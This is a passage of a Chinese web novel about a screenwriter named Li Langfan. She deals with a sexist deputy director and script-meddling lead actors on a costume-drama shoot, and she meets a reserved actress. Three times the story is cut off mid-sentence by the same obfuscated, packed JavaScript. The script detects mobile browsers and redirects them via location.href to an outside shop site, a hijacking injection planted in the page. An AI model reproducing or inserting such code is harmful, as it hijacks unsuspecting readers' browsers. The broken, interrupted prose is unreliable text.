李浪帆定定地看着他,深吸一口气,像是下了极大的决心,问道:“做吗?” “什么?”王暄诧异地问,可他毕竟听到了,“你……你会后悔吗?” 李浪帆沉默很久,手臂盖住眼睛,不去看他炽热的眼神,“有什么可后悔的?”不过还是紧张到连声音都在发抖。 那束玫瑰被放在了床头。 卧室的大床上,王暄用膝盖顶开她两条腿,单手抓过她的手腕,压在头顶。凶狠的眼神和温柔的动作,简直不像是来自同一人。 他眼中的欲色越燃越烈,慢慢变成难以控制的疯狂。 李浪帆强压下反抗的本能,轻哼着闭上眼,努力放软了身体。 呼吸颤抖着,鲜花颤抖着,繁星颤抖着。 月光如丝般斜洒在床尾,银桂的香气透过窗纱,悠然飘进室内,与玫瑰的浓郁缠绕在一起。 秋日的冷意尽数被这火热驱散。 一切比梦境更加迷离。 第二天早上,李浪帆精神恹恹地起床下楼吃早饭,没想到在餐厅看到了害她一夜没睡好的罪魁祸首。 她无精打采地问道:“你今天不上班吗?” “先过来吃饭。”不待管家有所动作,王暄便替她拉开了椅子,“今天算是你正式工作的第一天,我送你。” “行。”李浪帆说着又打了个哈欠。 王暄看她这样子,狐疑道:“昨晚没睡好?又熬夜写剧本了?” 她把油条泡进两掺里,拿着汤匙往下按了按,随口敷衍道:“没有,做噩梦来着。” 这厨师还是王暄从中州带来的,要不然两人哪里尝得到这种家乡美味。 “原以为我不在,你能休息好点。”他淡淡一笑,“看来以后还要我陪着睡才行。” 李浪帆没理他,自顾自地迅速吃完了早饭。 王暄看她放下了勺子,抬抬下巴,“去挑一辆喜欢的车。” 她摆摆手,“我坐什么都行。” 没想到,就因为这句话,之后小翟按照王暄的指示,每天送她的时候换着车开,还因此在剧组惹下了不小的麻烦。 58. 麻烦 李浪帆开始投身于忙碌的新工作之中。 剧本大纲、人物小传和分集剧情是上一个编剧写好的,李浪帆只能在现有基础上小作修改,来完成三十六集的剧本。 原本的设定是:女主是西域小国的公主,国家因战祸覆灭,她在侍卫拼死保护下,逃离故土,一路上危机重重,幸得男主相救。 男主是中原王朝的一位闲散王爷,外表冷峻,内心温柔。 他被女主的坚韧与才情所吸引,心生怜爱,把她带回都城,邀请她住进王府里。 女二是朝廷重臣家的千金小姐,与男主青梅竹马,心中暗自倾慕他多年。 得知女主的到来,心生嫉妒与不甘,多次设计陷害,企图离间她与男主的关系。 男二是今科探花,才华横溢,风度翩翩,对女主一见倾心。以朋友之名默默守护女主,关键时刻更是挺身而出,帮助她解决难题。 女三是个杀手,误会男主与她有杀父之仇,而几次三番想要刺杀他,为男女主添了不小的麻烦。 经过一系列的波折与考验,女主与男主的感情愈发深厚。最终,男主向皇帝请旨,十里红妆,迎娶女主为妃。 她为了钱,在这大纲的基础上捏着鼻子硬写,不过还是在她能改的范围内,做了一些变动。 剧组十一过后才开机,项目现在还在筹备阶段。 作为编剧,她现在除了写剧本,剩下的主要工作就是和摄制组的同事一起研究剧本。 主创人员凑一块研究分析剧本,还要查阅和剧本相关的文字、影响资料,共同讨论,主要是为了实现导演的构思的意图。 还有就是有关选景的部分,和导演以及美工互相协调沟通。 她的吃饭和午睡搭子叶瑶,要根据她剧本的内容和导演安排去设计室内场景,李浪帆有时候也得跟着去。 下班时间通常也不固定,反正她从没有在天黑之前回过家。 李浪帆收拾好桌上的剧本和笔记,正准备离开时,副导演高若林忽然叫住了她,不紧不慢地踱步而来。 他笑眯眯道:“小李,怎么不住在这边?每天来回跑多累呀!是有哪里不习惯吗?” 李浪帆只当这是普通的关心,也没有多想,“还好,主要是家里有人等,趁着还没去宁越那边,能回去住就尽量回去。” “我还以为只有我们这些拖家带口的人,才有这种烦恼呢!”高若林眼神有意无意地掠过她手指上那枚闪耀的钻戒,语气中带着一丝不易察觉的探究。 “你住在哪?我刚好也要走,送送你吧,这么晚你一个人回去也不安全。” “不用麻烦了。”李浪帆客气地笑笑,走在他后面,“家里有人来接。” 高若林指间转拿着车钥匙,头也不回地问道:“我记得你不是本地人吧?哪的来着?哦!中州的。吃得惯这边的饭菜吗?” 她一边低头给沈溪云回信息,一边说:“吃得惯,北方菜系口味都差不多,况且咱剧组阿姨做饭也挺好吃的。” 高若林略微偏过头看去,发现她竟然在玩手机,顿时眸色一暗。 他的车就停在别墅门口,拉开车门的时候,又回头确认道:“真不用我送你?” “不用啦!谢谢高导。你路上慢点,拜拜。”李浪帆说着冲他摆摆手,朝大门口走去。 高若林见她目光从始至终没在自己车上多停留一秒,不屑冷哼了一声。 空气中弥漫着秋日的凉意,夜风拂过,带着微弱的草木气息。 树捎轻轻摇曳,被汽车引擎声盖过。 李浪帆脚步轻快走出小区,拉开车门时,才发现王暄竟然坐在后排。 男人上身穿着一件普兰色衬衫,深红的领带松垮地系着。 他双腿交叠,靠在后座,膝上放着一台平板电脑,正在看报表。 眼睛反射着屏幕散发的幽冷蓝光,为他那张轮廓分明的脸平添了几分不近人情的冷峻,但偏在看到李浪帆的瞬间,眼神柔和了下来。 “咦?你怎么来啦?”她眼中露出点点笑意。 就在这时,小区闸门开启,一辆汽车缓慢驶出,刺眼的远光灯划破夜色,直射而来,让李浪帆不禁微微皱眉,眯起了眼睛。 “先上车。”王暄将电脑扔到一边,伸手把人拉进车里。 高若林坐在那辆开着远光灯的车上,光影交错间,他清楚的看到李浪帆上的是什么车,也看到一双属于男人的手,把她拉了上去。 “你今天下班还挺早嘛,居然有时间来接我。”李浪帆笑嘻嘻地就往王暄身上靠,竟感觉到他衬衫下的手臂肌肉猛地收紧。 “是你下班太晚。”王暄暗喜于她这份主动的亲近,但还是装作若无其事的样子,“告诉过你,这份工作会很累很忙。” “总好过在家闲着靠你养。”李浪帆枕着他的肩,闻言莞尔一笑,手上仍旧不停地在回消息。 沈溪云好不容易闲了下来,在疯狂跟她吐槽剧组的奇葩。又听说她这部剧马上开机,问了演员名单,提前在给她打预防针。 谈笑间,至少有三四个人身败名裂。 王暄垂眼便能看到两人的聊天页面,这出热闹好戏的局外人语气不咸不淡,“你跟她关系倒好。” 李浪帆抬头瞥他一眼,“那可是我的至爱亲朋,能不好吗?” “是么?”王暄轻轻把她垂落的碎发别在耳后,低声道:“她可没有你那些记忆,少在这一厢情愿了。” “你不也是?”她抬手捏捏他的脸颊,直到他蹙眉斜睨过来才松手,“等这个项目完结带你出去玩好不好?挣得第一笔钱咱俩一起花!年底能抽出时间吗?” “你带我出去?好啊!”他想也不想就答应下来,“有时间工作能没时间花你的钱?” “嘿嘿!”李浪帆得意地冲他笑笑。 自从她找下工作,想到以后至少能自食其力了,整个人便开朗起来,和王暄相处都更轻松了。 只是这笔钱远没有那么好挣,制片和导演各有各的想法也就算了,男、女主演看完剧本还总是提不同意见,借着背后资本向主创团队施压。 李浪帆改剧本改的怨气冲天,想想都是为了钱,最后只能忍了,只是免不了私下跟沈溪云吐黑水。 “还真让你说中了,演男主的这个周千航确实事儿多。他经纪人说什么你知道吗?说我高潮部分的剧情,不符合他们家艺人老师的公众形象。” 她怒气冲冲打完这段话后,又连发了两个表情包。 “他是演角色!又不是演他自己!我去找了他以前拍的戏,表演永远都那一个味儿,真不知道是怎么火的。” 沈溪云发来一条语音:“爱豆出身,以前和另一男演员炒CP火的,出名之后又搞虐粉提纯那一套,现在人商业价值可高啦!星瀚娱乐现在还挺捧他的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376601|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她冷笑一声,又透露道:“之前他想给严老师作配演男二,这边嫌他业务能力不行,又怕蹭严老师炒CP,就没同意。” 李浪帆烦躁地说:“演女主的赵丹萌也不满意,人家说台词太长了,体现不出女主的柔弱。我请问呢?台词短和柔弱有关系?女主和柔弱也没关系啊!” 对面发来的好几行“哈哈哈哈哈”,成功地吵到了她的眼睛,“背不下来台词,一线小花能说自己实力不行吗?肯定不会,所以只有来挑你的毛病了。” “可给她挑着软柿子了。”李浪帆紧抿着唇,盯着那行字,重重呼出一口浊气。 “实在不行的话。”沈溪云犹豫地提出建议,“把这事儿跟王董说一下,保管第二天再没人敢惹你。” “等我忍不了了再找他吧,暂时就出现这两个奇葩。演女三的岑归璞倒是特别敬业,我挺佩服的。” 前面几集剧本定稿之后,岑归璞加了她的联系方式,发过来一篇人物小传,对角色的分析非常透彻,还深入分析了怎么去表演,才能显得这个角色更有张力。 这么敬业,再加上有同行的衬托,李浪帆还没见到人,就先对人家产生了三分好感。 她在网上搜了岑归璞过去参演的角色,都是配角,没有一部在主演名单里,而且看起来资源也不怎么样。 但是演过各种类型的人物,温婉的女学生,恶毒的千金小姐,明媚张扬的贵妃,还有山寨的女土匪,并且每个角色的特点都被她完美演绎出来了。 “她科班出身,没背景,扶光这边的剧没跟她合作过,我也不了解人怎么样。”沈溪云回复,“听起来是个少有的正常人。” 这天李浪帆正在写大结局,副导演高若林把她叫到办公室。 他手里拿着一沓订好的剧本,往桌子上轻轻拍了两下,“小李呀,你自己看看,你这剧本写得行吗?观众会买账吗?” 李浪帆听着他的质问,疑惑道:“高导,这六集上次不是已经通过了吗?” “通过,不代表你写的好,是上次大家都没多少时间了,留了个机会让你自己私下优化。”他面容严肃,“但是你没体会到我们几个的良苦用心啊!” 高若林开始长篇大论聊一些他看过的影视剧,接着提出许多毫无建设性的意见。 既说这么写不能弘扬正能量,又举了一堆更封建的剧让她好好学习人家的先进经验。 李浪帆正色道:“高导,要这么改的话,得从头改,而且还不只是剧本,再往前推大纲,人设全都要变。马上要开机,肯定会影响拍摄进度的。” 高若林口若悬河说了这么久,见李浪帆还是不开窍,立时便沉下脸来。 “你来不及,所以就拿这种残次品糊弄出品方?糊弄观众?” “这么大口锅我可担不起。”她笑了笑,唇角勾起轻蔑的弧度,“几位制片和胡导都觉得这版剧本不错,您有意见应该在开会的时候就提出来,甚至在大纲阶段就提。” 高若林把桌子拍得碰碰作响,“你是觉得只有他胡磊能管,我说话不管用是吗?” 李浪帆正要开口,就又听到他说:“还是你觉得,有裴总在,就可以谁都不放在眼里了?” “这和裴总有什么关系?”她气笑了。 高若林却语不惊人死不休,冷笑一声,缓缓道:“我可是知道,你总上不同男人的车,确实和裴总关系不大。” 59. 开机 “心脏的人看什么都脏。”李浪帆冷笑一声,毫不客气道:“你想通过造谣,然后站在道德制高点上对我进行荡.妇羞辱?” 高若林没料到她竟然这么直白,顿时怒不可遏,指着她道:“说话可是要负责任的!我不过是要你完成本职工作,你竟然在这里污蔑我造谣?” “我有什么地方得罪你的话,大可以直说,没必要在这颠倒黑白,倒打一耙。”李浪帆面容冷肃,居高临下盯着靠在办公椅上的人。 他食指敲着桌子,砰砰作响,“真不知道制片是怎么把你招进来的!行业新人,一部作品都没有,能力不行!学历不行!态度也不行!” 李浪帆本来想给他留几分面子,没打算把话说得那么绝,这会儿脾气上来,倒也不想忍了。 她从来就不是个肯吃亏的人,嘴皮子上的功夫不比身手差,况且又有着不错的记忆力,当下便针对高若林对剧本挑刺的内容,一条条批驳了回去。 口若悬河,鞭辟入里,高若林几次开口都没能打断她的滔滔不绝。 李浪帆看他哑口无言的样子,又把刚才自己被嘲讽的话如数奉还。 “现在的内容以及过会了,而且大家都很满意,要是按你说的改,都不说扑,等着上警示名单吧!” 她嘲讽地摇摇头,“真不知道你这副导演是怎么当上的,你不去操心演员试镜,不去组织主创人员学习和观摩,不检验摄、录、服、化、道各部门的准备工作,反而要故意耽误拍摄进度吗?” “你这么狂妄,小心在圈内寸步难行。”高若林眼中闪着寒光,沉声威胁她。 “有意见就在会上提,搞人前一套人后一套非常LOW。我剧本写得到底行不行大家有目共睹,你自己想想刚才挑的刺到底合不合理。” “你还不是窃取了金洲的劳动成果!”高若林用阴沉沉的眼神瞧着她,“也敢在这大言不惭!” 他口中的金洲是前一个编剧,叫曾金洲,在业内小有名气,但写完剧集梗概就锒铛入狱了。 听说只是拘留十五天,人已经放出来了,但是剧组一是考虑影响不敢再用他,二是制片和胡导看过剧本后,很满意李浪帆写的这版。 她对原本剧情和人设进行了大刀阔斧的改进之后,在迎合市场和内容深度间达到了完美平衡,如果其他部门配合得好,至少能小爆一把。 第三, 自然是因为,她是出品方推荐的编剧。裴睿成虽然答应不向别人透露她和王暄的关系,但只凭他裴总的面子,也够好使了。 “哦——”李浪帆这才恍然大悟,他应该就是叶瑶说的,和原先编剧关系不错的人。心想还真是物以类聚,人以群分。 “你是不满意我改了他的设定,还是不满意我顶了他的位置?”她挑眉反问,字字诛心,“人家进局子的时候没见你捞一把,现在说这种话,是为了他还是为了你自己?” 高若林点了一支烟,语气充满了鄙夷与嘲弄,“正是因为有你这样为了往上爬不知廉耻的女人,男人才会情不自禁,金洲就是被你这种人害的。” “典,太典了,老瓢虫经典言论!咳咳——”李浪帆被呛得直咳嗽,胳膊捂着口鼻,自觉和这种人无话可说,扭头走了。 出门后,她才关掉录音,一看时长:00:37:54,又觉得染上一身烟味,回屋里喷了点香水,才没那么膈应。 “认识高若林吗?我跟你说……”她点开沈溪云的对话框,开始噼里啪啦地输出。 “啊?他真恶心!”沈溪云连发了几个呕吐的表情包。 “你今天不上班吗?竟然能秒回。”李浪帆略有些惊讶。 “严老师前两天杀青了,我现在陪他来录一期综艺,还在路上。” “你这儿有高若林什么把柄么?”她想了想还是不能坐以待毙,“我总感觉他可能会阴我一把。” 过了一会儿沈溪云才回复道:“没有,我问了严老师,还有另一个朋友,都没和他打过交道。” “好吧。”她叹了口气,“我这只有录音,但估计作用不大。” 沈溪云给她支招:“别在意他,再不济还有王董呢,要是找你麻烦,到时候把他搬出来。” “行。”虽然这么说,但李浪帆心想还是算了,她前两天还在王暄那夸下海口呢,一转头又找他撑腰,这不打自己脸嘛。 “严老师下个月底要去宁越那边拍戏,到时候去找你。我们到啦,不说了拜拜!” “OK。” 不过高若林并不像她想的那样,之后不管是开会还是私下工作时,都没再找过她茬。 一直等到她剧本写完,剧组开机,两人也都相安无事。 开机仪式这天,李浪帆第一次见到男女主演,他们二人装造都已经做好了。确实是俊男美女,看上去就非常亮眼。 现场还有他们的粉丝前来应援,整体还算比较有秩序。 李浪帆和其他人都穿着剧组统一发的服装,脖子上还挂了工牌,写着姓名、性别、职务、编号、剧组、日期。 场地中央放着一个巨大的香鼎,正后面是一张桌子。 案桌用红布盖着,桌上摆放着烤乳猪和许多水果。两旁的摄影机也用红布盖着。 巨大的宣传背景板上印着剧名,演员表,主创职员表, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409271|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再上面还扯了一条横幅。 主持人介绍了到场嘉宾,随后便是万年不变的领导致词。 出品人,上映平台的首席内容官,制片人,导演,两位主演每人大概讲了三分钟。 接下来的流程是烧香敬天地。 每个人拿着三支香,向着东、南、西三个方向依次拜了拜。由于谐音的忌讳,所以大家并没有拜北方。 按次序把香插进去后,剧组又给所有人都发了红包。 随着摄影机上的红布被解开,揭幕仪式也结束了。 最后是拍照环节,集体合照以后,男女主和出品人,制片人以及导演纷纷合影,其他演员和工作人员有不少也去留影纪念。 李浪帆不想在人堆里挤,便四下搜寻,想找个没什么人的地方坐下。 她目光从人群中扫过,忽然被什么紧紧抓住视线,又转头看了过去。 那是位年轻女性,虽然站在熙熙攘攘的人群中,但却给人以茕茕孑立之感,只觉她与红尘俗世格格不入。 冷,看上去的第一感觉就是冷。像乞力马扎罗山顶的雪,即便身处赤道也不会融化。 她长得十分漂亮,眉如远山、目似秋水,眼神冷寂而深邃,如寒潭般叫人望不到底。鼻梁高挺,唇角微微勾起了温润的弧度。 碎发散落在额前,一根乌木簪子一根云纹玉簪将青丝半挽,冷艳动人之极。 她上身穿着白色的中长款风衣,里面是件春日青色的衬衫,领口露出了一点浅灰蓝高领毛衣。肩上挎着包,带了些嫩黄色。手腕上带着的翡翠镯子,更衬得皮肤白皙。 下半身穿着绿色的裙子,但又不是单一的绿,大面积是青苹果、马尔代夫的颜色,有少量黄绿和墨绿点缀其间。 脚上黑色的皮鞋,完美呼应了她的满头黑发。 在这秋日,偏偏穿出几分春意来,但这春意在她清冷气质的衬托下,像冻于寒冬中的坚冰里一样,叫人可望而不可即。 李浪帆认出了这人是谁,她正是饰演女三号的岑归璞,只不过没想到她竟比荧幕中还要美。 岑归璞的戏份大多要在宁越的影视城拍,还有部分是山间与河谷,她今天来只是单纯的参加开机仪式。 她似乎是察觉到了李浪帆的视线,循着她目光静静地望了回来。 李浪帆知道她不认得自己,干脆走了过去。 她今天穿着一件黑色大衣,带着同色贝雷帽,里面穿了暗红色针织长裙,脚下是一双深棕色马丁靴。 秋风吹过,衣袂翻飞,像在荆棘中穿梭的蝶。 她笑着向人打招呼:“岑老师,你好,我叫李浪帆。” 60. 折磨 在片场的前两天,李浪帆觉得还挺有意思。 看到自己写的台词被演员亲口念出来,她还是挺兴奋的。 但是到后来,跟组就成了折磨。 她觉得相对于做动画而言,拍这种古偶电视剧,还是容易得多。 没毕业那会儿,她看到王暄做毕设,又要演,又要画。做好的动态分镜他会自己先配音,把控整体节奏,然后再找CV,后面跟着音频再去规划动画的细节。 按照二维动画的标准来,人物走一步,原画带中间画,需要画13张,跑一步也要画8张。 人物的一个表情,一句台词,演员表演时可能就几秒钟,但做动画时,一秒要画24帧,就算一拍二,也得画12张。 她那会儿心疼王暄和几个同学经常通宵,生怕他们猝死,提议要不把复杂的场景删了,实在不行用画外音水水时长,但是遭到了大家的一致拒绝。 “你剧本写得这么好,我们肯定要完美表现出来!”海王眼下一片青影,但还是笑着安慰她,“我们肯定熬得住,别担心。” 海王是女生,整个毕设里,所有的海全都是她画的,简直是画海的王者,因此被大家尊称为“海王”。 其余人纷纷附和,说着什么:“画画不就是‘关起门来折磨自己,打开门来吓唬别人’的事吗?” 李浪帆向来容易被拼搏进取的人感染,于是在写毕业论文之余,晚上也加入到他们的创作团队中,要来了色指,替大家做一些简单的上色。 团队经过日以继夜的努力,最终不但是当年的优秀作品,还拿到了国际动画节最佳短片。 她并不讨厌忙碌的工作,也不讨厌牺牲自己的时间帮别人完成工作,甚至为了减轻后续环节的工作量,会主动提出要删改剧本。 但她真的很讨厌那种自己业务能力不过关,还要偷奸耍滑,把锅全甩别人身上的人。 也是李浪帆命里该有此劫,这个剧组里刚好就集齐了卧龙凤雏。 先是周千航的经纪人找到导演说:“我们家千航是体验派演员,表演时需要演员以自我为中心,挖掘出自己性格中跟角色相通的一面,然后放大这种特质去表现出来。” 李浪帆当时也在场,心想:“这就是你说,高潮部分男主情绪太强烈了,不符合周千航公众形象的原因?” 周千航也适时接口:“对,我会特别入戏,尤其如果演一些性格复杂甚至神经质角色的时候,拍完需要很长时间来平衡情绪。” “你演什么都像你自己,这还能走不出去我也是佩服,也不知道在学校都学的什么。”李浪帆装作一副被他敬业折服的样子,都没敢抬头,就怕装不下去。 但是没办法,演员和背后资本的话语权比导演还要大,她只能去改男主的戏份。 带着一点不负责任和恶毒的想法,李浪帆大笔一挥,把男主完全按照演员心意来改。 反正最后搞成什么样,她钱照挣,至于周千航演完被人吐槽,为烂剧UP贡献素材她就管不着了。 男主演改了戏份,女主演也不肯落后。 赵丹萌觉得女主怎么能自己解决问题呢?这还怎么体现男主对她的爱意,CP必须要甜,管它剧情连不连贯? 李浪帆只能拿着剧本向她解释:“这是女主的高光时刻,是体现人物外柔内刚,足智多谋,心性坚定的关键情节,也完全能说明为什么男主和男二都喜欢她。如果改成……” 赵丹萌一脸不以为然的表情,打断道:“但是这样的角色不够可爱,你懂吧?她得是楚楚可怜,让人一看就充满保护欲的。高光都让女主自己演了,观众还怎么磕糖?” “这不冲突啊,在表演的时候……” “一定要有苏感和爽感,这种才会产生出圈的名场面!男主必须护妻,现在他们刚认识不要紧,就是要体现命定的情缘!现在就保护女主,更有宿命感!”赵丹萌根本不给她把话说完的机会,自顾自地发表起见解来。 李浪帆看她执拗的样子,再加上制片主任和导演坐旁边都不说什么,只得道:“行!行……” “我去找千航协调。”她脸上重又挂上灿烂的微笑,像只骄傲的孔雀,满意地离开了。 赵丹萌走后,事先接到制片人电话的制片主任低声说:“金主想捧主演,咱们是拿钱办事儿,陪着他们玩得了。” “这不是毁咱们口碑嘛!”胡磊一声叹息。 制片主任就没有毁口碑的顾虑,他和制片人也只是雇佣关系,人家都发话了,他也懒得管那么多。 他安慰道:“她背不下来台词你有什么办法。想开点,至少主演粉丝很多。再说了,现在哪有不改剧本的明星?” “严晏应该也不爱改吧?”李浪帆原本想提岑归璞,但既然制片主任限定词是明星,她脑海中就只剩严晏这个例子。 制片主任耸耸肩,“他是扶光的一哥,又不会来参演星瀚的戏,咱想也没用。” 李浪帆沉默不语,想着要不起个笔名吧,到时候职员表上要是显示她的真名,简直是抹不掉的赛博案底。 剧本在两位主演的指导下,取其糟粕,弃其精华,又改了不少。 然后她完全明白了这两个人想干什么。 戏还没播,各种营销小视频就已经在网上出现了,都是周千航和赵丹萌在炒CP。 不仅炒剧里角色的CP,连剧外演员都有营销号在发好磕。 大数据经常把这些推送的李浪帆的首页,她为图清净,再没有点开那几个APP。 除了捆绑营销以外,赵丹萌还是很热爱表演的,不仅专注于自己的戏,连别人的戏也要掺和一脚,经常去指点女二号和其他女艺人演戏。 女二咖位不如她的大,粉丝不如她的多,也不好在明面上拒绝。 周千航更是有个导演梦,热衷于全方位向镜头展示自己的盛世美颜。在片场不断要求摄影要用什么景别,什么运镜方式去拍。 他三不五时“灵机一动”,告诉导演:“我觉得应该这么拍……”,剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450623|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组所有人被迫站那等着他讲戏。 李浪帆觉得,如果她到了人生的最后几分钟,一定要想尽办法找到周千航,听他讲戏那真是度秒如年,能变相续命。 等到十一月下旬的时候,在北明的戏份终于全部拍完,剧组要转战到宁越的影视城,接着拍剩下的镜头。 王暄最近这段时间,觉得自己开始越陷越深了。 李浪帆就像一块裹着酸味儿外衣的糖,慢慢地那层酸涩褪去,只剩下里面比蜜还甜的软芯。 他又想一口吞下去,又十分舍不得。 王暄要派个人跟她一起去宁越,李浪帆觉得太摆谱,“人家演员才带助理,我一个编剧,这么兴师动众的干什么?” 他听到这话有些不高兴,“你比他们差到哪儿了?” “我不是这个意思。”她翻了个身,侧躺着看向王暄,“到了以后,我除了跟组就是回酒店躺着,又不像现在还要天天往家跑,真没必要。” 窗外洒进来淡淡的月光,一切都十分昏暗朦胧,只剩下他深邃的眼睛照进心底。 “明早我送你去机场。” “不了吧?明天其他同事也会在那。” “我见不得人?”王暄语气变得危险起来。 她连忙解释:“怕有人认出来你,再给你添麻烦。” “最近我会很忙,没有时间去看你。”王暄抚摸着她的脸颊,故作遗憾地问,“不想跟我再多待会儿吗?” “想。” 宁越是南方城市,树木常绿,完全没有北方冬天的肃杀氛围,连空气都是湿润的。 岑归璞这时候也进组了,李浪帆发现她在片场话很少,除了说台词,以及必要的简短交流,基本不跟其他人闲聊。 她的外貌和气场明明是让人无法忽视的存在,但又像和所有人之间天生带有屏障。 而且李浪帆还发现,周千航的目光,似乎总是会偷偷看向岑归璞。绝不是欣赏的眼神,更像是带着一股无法释怀又得意洋洋的恶意。 钟离影大部分的对手戏都是和男主进行的,周千航的演技完全被岑归璞压着打。 还没拍几个镜头,他就又找上李浪帆。 “编剧老师,关于我和女三这个角色的纠葛,我有几点想法和建议。” 李浪帆示意自己洗耳恭听。 周千航非常自信地说:“我觉得,这个杀手应该是爱男主角的。我第一次抓了她,不仅没杀,还把人放了,难道不足以让这个无依无靠,漂泊无根的女子倾心吗?” “啊?”李浪帆的眼神甚至都有些呆滞,已经分不清周千航是真这么想,还是在玩抽象了。 她面露难色道:“这还真改不了,如果她对男主心生爱慕,后面一系列行为就都站不住脚,所有戏份就都要改。” “她戏份又不多,改着很方便的。岑归璞背台词很快,就算全改了,也不会影响拍摄进度。”周千航说地理直气壮,还觉得自己这是在夸岑归璞,她要是知道了,应该过来感谢自己。 61. 借刀 岑归璞缓步走来,眼中尽是凌厉的寒意。 她刚做好妆造,下一场要拍女扮男装的戏份。仅凭外形恐怕任谁也想不到这竟是个女刺客。 妆容上倒没有故意通过贴假胡子来凸显男人感,只是将她本有的气质放大了几分。 乍眼一看,剑眉星目,英气勃勃,颇有侠士风范。 只见她头戴莲瓣黑玉发冠,细长的簪子横插其间将乌发束起。仅余几缕碎发随意垂落,平添了几分潇洒落拓之感。 身着竹叶暗纹的青衫,腰悬一柄弯刀,刀鞘上泛着幽幽蓝光,上面雕刻着古朴的图案。刀柄缠绕着玄色布带,这颜色是道具组用假血浆染出来的,细看之下,还能隐约窥见一抹暗红。 整个人看上去风流倜傥,焕然夺目。 李浪帆目不转睛盯着她,暗暗喝了一声彩。 “你怎么来了?”周千航被岑归璞那冷峻的目光盯得有些不自在,下意识移开了视线。 自打得知这部剧的男主角将由他出演那刻,岑归璞心中就生出了一种不祥的预感。 不过她只是个十八线小糊咖,能接到戏就不错了,哪轮得到她挑挑拣拣。在经济人的劝说下,只能硬着头皮进了剧组。 可现在,她要亲眼看着自己喜欢的角色被改得面目全非,说不后悔是假的。 岑归璞冷冰冰地说道:“周大导演亲自执导,我能错过这种学习进步的机会?” “你说话还是这么难听,怪不得现在依然只是个不入流的小演员。”周千航满不在乎地双臂环抱,倨傲的姿态与他平日里营造的形象大相径庭。 李浪帆听到这话,心想他们大概积怨已久,这矛盾自己也无力调解,于是干脆坐下拿出了手机开始翻弄。 岑归璞难得地对他笑了一下,“你演戏这么难看都能火,说明我还是有机会的。” 李浪帆低头暗暗咋舌,心想还是她敢说,剧组多少人都天天捧着周千航,愣夸他那是教科书级别的演技。 在她看来,教科书什么时候单出一册错题集,这话什么时候才不虚伪。 周千航双唇紧抿,脸上怒意昭彰,只是碍于片场还有其他人在,才没发作出来罢了。 “我也是为了这部剧的质量着想。”他深吸一口气,转而看向李浪帆,“编剧老师,请你一定要采纳我的建议。” 他说得客气,实则要把“采纳我的建议”读作“必须听我的”。 恰在此时,李浪帆的手机忽然震动起来,屏幕上浮现出来电人的名字。 “不好意思……”她扯出一个微笑,“我先接个电话。” 周千航一眼就看见了,来电显示是:裴总。 她并没有去别处接电话的打算,反而慢悠悠地拿起手机,声音透着亲切与甜腻,“喂,睿成哥。” 周千航有些惊讶,他很清楚自己公司的副总叫什么。 “对,我在片场呢……挺好的,剧组大家都很好,怎么会有人为难我呢?”她说道这里有意无意地瞄了周千航一眼,故作遗憾道:“我一会儿再给你打过去,现在周老师要给我指导剧本呢。” 岑归璞若有所思地垂下眼眸。 “是关于女三号的戏份,可能我写得太不堪入目了。不说了,周老师都等急了……” “没有没有!”周千航瞬间瞪大了眼睛,连忙摆手否认,只是心中不由恼怒。 李浪帆也不去理他,脸颊悄然变得绯红,“阿姨也想我了呀?我这边结束就去看她。拜拜!” 挂断电话后,她站起身歉然说道:“实在不好意思,一些私事,耽误二位老师的时间了。” 周千航犹豫了片刻,问道:“你和裴总……认识?” “对呀!”李浪帆理所当然地点点头,谦逊地笑道:“这份工作还是他安排的,要不然我哪有机会跟各位老师合作呢?” “原来如此。”他眼中闪过一丝纠结,“李老师你剧本写得这么好,裴总真是有眼光。” “哪里哪里,我写作水平有限,还得多靠你们指点。” 周千航听了这话,神色微变,忙道:“客气了,谈不上指点,只是我个人一些不成熟的小建议,你千万别往心里去。” 李浪帆说:“不会不会。” “我要去换下场戏的装造,不打扰了。”他说完这话,瞥了岑归璞一眼,转身离开了。 看他走远,岑归璞才低声说:“谢谢你帮我应付他,刚才那通电话是骗他的对吧?” “你怎么知道?”她讶异地问。 岑归璞沉吟片刻,解释道:“你玩手机的时候,把屏幕竖起来朝自己倾斜,显然是不想让我们看到你在发什么。之前我注意到你一般会反扣着手机,但是今天屏幕朝上,而且接电话很慢,像是故意让人看到是谁打来的一样。” “你观察力也太敏锐了……”李浪帆怔怔地看着她,脸上闪现过短暂的困惑,“但是这不能说明我在骗他吧?” “你留给对方说话的时间有点短,不像在回答,更像是在自说自话。”岑归璞不自觉地咬了咬下唇,似乎有些不好意思,“再加上电话打来时,你好像有心理准备。所以我才想,可能是你委托朋友打来的。” 